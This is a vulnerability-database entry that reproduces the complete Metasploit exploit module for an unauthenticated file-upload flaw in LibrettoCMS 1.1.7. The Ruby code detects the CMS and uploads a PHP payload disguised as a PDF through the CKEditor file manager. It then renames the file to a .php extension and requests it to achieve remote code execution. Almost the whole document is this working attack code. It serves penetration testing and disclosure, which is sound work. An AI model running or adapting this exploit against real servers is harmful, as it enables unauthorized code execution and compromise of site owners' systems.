LibrettoCMS File Manager Arbitary File Upload Vulnerability

2013-06-19T21:59:15
ID MSF:EXPLOIT/UNIX/WEBAPP/LIBRETTO_UPLOAD_EXEC
Type metasploit
Reporter Rapid7
Modified 2017-09-08T01:18:50

Description

This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and possibly prior. Attackers can bypass the file extension check and abuse the upload feature in order to upload a malicious PHP file without authentication, which results in arbitrary remote code execution.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::PhpEXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "LibrettoCMS File Manager Arbitary File Upload Vulnerability",
      'Description'    => %q{
        This module exploits a file upload vulnerability found in LibrettoCMS 1.1.7, and
        possibly prior.  Attackers can bypass the file extension check and abuse the upload
        feature in order to upload a malicious PHP file without authentication, which
        results in arbitrary remote code execution.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'CWH',
          'sinn3r'  #Metasploit
        ],
      'References'     =>
        [
          ['OSVDB', '94391'],
          ['EDB', '26213']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x00"
        },
      'Platform'       => %w{ linux php },
      'Targets'        =>
        [
          [ 'Generic (PHP Payload)', { 'Arch' => ARCH_PHP, 'Platform' => 'php' }  ],
          [ 'Linux x86'            , { 'Arch' => ARCH_X86, 'Platform' => 'linux'} ]
        ],
      'Privileged'     => false,
      'DisclosureDate' => "Jun 14 2013",
      'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The base path to LibrettoCMS', '/librettoCMS_v.2.2.2/'])
      ])
  end

  def check
    res = send_request_raw({'uri' => normalize_uri(target_uri.path)})
    if not res
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    if res.body =~ /Powered by <a href=".+">Libretto CMS/
      return Exploit::CheckCode::Detected
    end

    Exploit::CheckCode::Safe
  end


  def upload(base)
    p     = get_write_exec_payload(:unlink_self=>true)
    fname = "#{Rex::Text.rand_text_alpha(6)}.pdf"

    data = Rex::MIME::Message.new
    data.add_part(fname, nil, nil, "form-data; name=\"Filename\"")
    data.add_part(p, "application/octet-stream", nil, "form-data; name=\"Filedata\"; filename=\"#{fname}\"")
    data.add_part('Submit Query', nil, nil, 'form-data; name="Upload"')
    post_data = data.to_s

    uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'upload.php')

    res = send_request_cgi({
      'method'   => 'POST',
      'uri'      => uri,
      'ctype'    => "multipart/form-data; boundary=#{data.bound}",
      'data'     => post_data,
      'vars_get' => {'type'=>'all files'}
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while uploading")
    elsif res.code.to_i != 200
      fail_with(Failure::UnexpectedReply, "#{peer} - Unknown reply: #{res.code.to_s}")
    end

    fname
  end


  def rename(base, original_fname)
    new_name = "#{Rex::Text.rand_text_alpha(5)}.pdf.php"
    uri = normalize_uri(base, 'adm', 'ui', 'js', 'ckeditor', 'plugins', 'pgrfilemanager', 'php', 'files.php')
    res = send_request_cgi({
      'method'    => 'POST',
      'uri'       => uri,
      'vars_get'  => { 'type' => 'all files' },
      'vars_post' => {
        'fun'         => 'renameFile',
        'dir'         => '',
        'filename'    => original_fname,
        'newFilename' => new_name
      }
    })

    if not res
      fail_with(Failure::Unknown, "#{peer} - Request timed out while renaming")
    elsif res.body !~ /"res":"OK"/
      fail_with(Failure::Unknown, "#{peer} - Failed to rename file")
    end

    new_name
  end


  def exec(base, payload_fname)
    res = send_request_cgi({ 'uri' => normalize_uri(base, 'userfiles', payload_fname) })
    if res and res.code.to_i == 404
      fail_with(Failure::NotFound, "#{peer} - Not found: #{payload_fname}")
    end
  end


  def exploit
    base = target_uri.path

    print_status("Uploading malicious file...")
    orig_fname = upload(base)

    print_status("Renaming #{orig_fname}...")
    new_fname = rename(base, orig_fname)

    print_status("Executing #{new_fname}...")
    exec(base, new_fname)
  end
end